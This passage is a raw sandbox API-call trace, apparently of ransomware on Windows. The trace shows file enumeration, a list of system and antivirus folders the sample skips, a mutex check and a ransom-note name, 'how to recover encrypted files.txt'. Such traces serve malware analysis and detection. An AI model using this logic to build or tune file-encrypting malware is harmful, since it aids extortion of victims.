cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@♔R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.977] GetLastError () returned 0x2 [0046.977] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.977] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.977] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⎌R企@\x18?T\x18\x97")) returned 0xffffffff [0046.977] GetLastError () returned 0x2 [0046.977] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.977] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.978] GlobalLock (hMem=0x440004) returned 0x551178 [0046.978] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.978] GlobalUnlock (hMem=0x440004) returned 0 [0046.978] GlobalLock (hMem=0x440004) returned 0x551178 [0046.978] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.978] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.978] GlobalUnlock (hMem=0x440004) returned 0 [0046.978] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.978] GlobalUnlock (hMem=0x44000c) returned 0 [0046.978] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.978] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.978] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.978] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0046.978] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.978] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.979] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.979] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.979] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.979] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.979] GlobalUnlock (hMem=0x44000c) returned 0 [0046.979] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.979] GlobalLock (hMem=0x440004) returned 0x553188 [0046.979] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.979] GlobalUnlock (hMem=0x44000c) returned 0 [0046.979] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.979] GlobalUnlock (hMem=0x440004) returned 0 [0046.979] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.979] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.980] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.980] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0046.980] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0046.980] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0046.980] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.981] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.981] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0046.981] GlobalLock (hMem=0x440004) returned 0x551178 [0046.981] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.981] GlobalUnlock (hMem=0x440004) returned 0 [0046.981] GlobalLock (hMem=0x440004) returned 0x551178 [0046.981] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.981] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.981] GlobalUnlock (hMem=0x440004) returned 0 [0046.981] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.981] GlobalUnlock (hMem=0x44000c) returned 0 [0046.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0046.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.981] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.982] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.982] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.982] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.982] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.982] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.982] GlobalUnlock (hMem=0x44000c) returned 0 [0046.982] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.982] GlobalLock (hMem=0x440004) returned 0x554190 [0046.982] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.982] GlobalUnlock (hMem=0x44000c) returned 0 [0046.982] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.982] GlobalUnlock (hMem=0x440004) returned 0 [0046.982] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.982] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 72 [0046.983] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\hu-HU\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0046.983] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.983] GetLastError () returned 0x12 [0046.983] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.983] GlobalLock (hMem=0x440004) returned 0x551178 [0046.983] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.983] GlobalUnlock (hMem=0x440004) returned 0 [0046.983] GlobalLock (hMem=0x440004) returned 0x551178 [0046.983] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.983] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.983] GlobalUnlock (hMem=0x440004) returned 0 [0046.983] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.983] GlobalUnlock (hMem=0x44000c) returned 0 [0046.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d88, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0046.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.983] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.984] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.984] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.984] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.984] GlobalUnlock (hMem=0x44000c) returned 0 [0046.984] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.984] GlobalLock (hMem=0x440004) returned 0x553188 [0046.984] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.984] GlobalUnlock (hMem=0x44000c) returned 0 [0046.984] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.984] GlobalUnlock (hMem=0x440004) returned 0 [0046.984] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.984] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.984] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.984] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.984] GlobalLock (hMem=0x440004) returned 0x552180 [0046.984] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.984] GlobalUnlock (hMem=0x440004) returned 0 [0046.984] GlobalLock (hMem=0x440004) returned 0x552180 [0046.984] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.984] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.984] GlobalUnlock (hMem=0x440004) returned 0 [0046.984] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.984] GlobalUnlock (hMem=0x44000c) returned 0 [0046.984] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.984] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.984] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.984] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.984] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.984] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.984] GlobalUnlock (hMem=0x44000c) returned 0 [0046.985] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.985] GlobalLock (hMem=0x440004) returned 0x554190 [0046.985] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.985] GlobalUnlock (hMem=0x44000c) returned 0 [0046.985] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.985] GlobalUnlock (hMem=0x440004) returned 0 [0046.985] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.985] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.985] GetLastError () returned 0x12 [0046.985] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.985] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0046.985] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0046.985] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.985] GlobalLock (hMem=0x440004) returned 0x551178 [0046.985] 